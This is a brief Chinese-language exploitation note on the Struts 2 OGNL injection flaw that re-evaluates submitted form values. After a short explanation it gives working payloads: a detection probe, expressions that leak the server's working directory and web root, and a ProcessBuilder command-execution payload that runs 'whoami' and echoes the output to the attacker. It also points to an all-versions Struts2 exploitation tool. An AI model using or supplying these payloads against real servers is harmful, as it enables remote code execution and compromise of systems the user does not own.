基本原理:用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}
并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于 %{value}
对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
%
的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#
的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$
主要是在Struts 2配置文件中,引用OGNL表达式漏洞检测:%{1+1}
利用:
//获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
//获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
//命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
也可以用structs综合利用工具 Struts2全版本漏洞检测工具